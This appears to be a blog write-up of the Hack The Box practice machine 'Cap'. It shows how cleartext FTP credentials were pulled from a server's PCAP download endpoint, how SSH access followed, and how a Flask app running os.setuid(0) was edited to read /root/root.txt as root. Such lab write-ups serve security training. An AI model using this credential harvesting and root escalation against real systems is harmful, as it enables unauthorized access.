Skip to main content

📦 HTB - Cap

·519 words·3 mins· loading · loading · ·
HTB htb writeup
mov al, 11
Table of Contents

Simple easy box, perfect to warmup before the FIC 2021 and get more confidence in 1337 h4ck1n9


Find PCAP file on server, get SSH credentials, execute code as root with Python.


I did not even use nmap here, as we had a web server serving on port tcp:80. This website looked like this:

Cap index

It seems to be a security dashboard for a server, we don’t have any info about that. We have multiple endpoints on the server :

  • /capture: redirects to /data/{id} after loading
  • /data/{id}: we can download {id}.pcap by clicking a button
  • /ip: get a netstat output

What can we do with that?


I got to download the file 11.pcap, and got nothing in it. I recognized that all my interactions with the server were logged in this PCAP, which is odd, I tought the server was serving a particular PCAP.

After playing again with the /capture endpoint, I figured out that the /data/{id} correspond to a specific user or IP. So I checked /data/0 and got the following data:


And guess what? Yes we can see credentials in cleartext here:

FTP connection in 0.pcap

So we can SSH to the machine with those.


Source code

The server was running in /var/www/html/ which is a Flask server. the user nathan have rw rights on it so I checked the source code:

 1import os
 2from flask import *
 3from flask_limiter import Limiter
 4from flask_limiter.util import get_remote_address
 5import tempfile
 6import dpkt
 7from werkzeug.utils import append_slash_redirect
 9# [...]
11app = Flask(__name__)
14def index():
15        return render_template("index.html")
18@limiter.limit("10 per minute")
19def capture():
20        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
21        ip = request.remote_addr
22        # permissions issues with gunicorn and threads. hacky solution for now.
23        #os.setuid(0)
24        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
25        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
26        os.system(command)
27        #os.setuid(1000)
29        return redirect("/data/" + str(pcapid))
32def ifconfig():
33	d = os.popen("ifconfig").read().strip()
34	print(d)
35	return render_template("index.html", rawtext=d)
38def data_id(id):
39        try:
40                id = int(id)
41        except:
42                return redirect("/")
43        try:
44                data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
45                path = str(id) + ".pcap"
46                return render_template("index.html", data=data, path=path)
47        except Exception as e:
48                print(e)
49                return redirect("/")
51# [...]
53if __name__ == "__main__":
54"", 80, debug=True)

I removed some code for readability but you get the idea. The important stuff is the os.setuid(0) part. If you want the complete code, check it here.


As you can expect here we can execute code as root with the os.setuid(0) line. So I just edited this file and added one route:

2def test():
3    os.setuid(0)
4    data = os.popen("cat /root/root.txt").read()
5    return render_template("index.html", data=data)
7# opened a new port on the machine
8if __name__ == "__main__":
9"", 65000, debug=True)

Then I started the server in the SSH connection: nathan@cap: python3, and connected on the server on my local machine with firefox http://cap.htb:65000/test.

RCE as root

And voilà.

Cap rooted


📦 HTB - Ready
·435 words·3 mins· loading · loading
HTB htb writeup
📦 HTB - Magic
·543 words·3 mins· loading · loading
HTB htb writeup
📦 HTB - Obscurity
·1004 words·5 mins· loading · loading
HTB htb writeup
SQLi lab solutions
·1003 words·5 mins· loading · loading
article ctf sqli writeup
🚀 TL;DR - pacman
·103 words·1 min· loading · loading
TL;DR archlinux pacman tldr
🚀 TL;DR - nmap
·147 words·1 min· loading · loading
TL;DR tldr nmap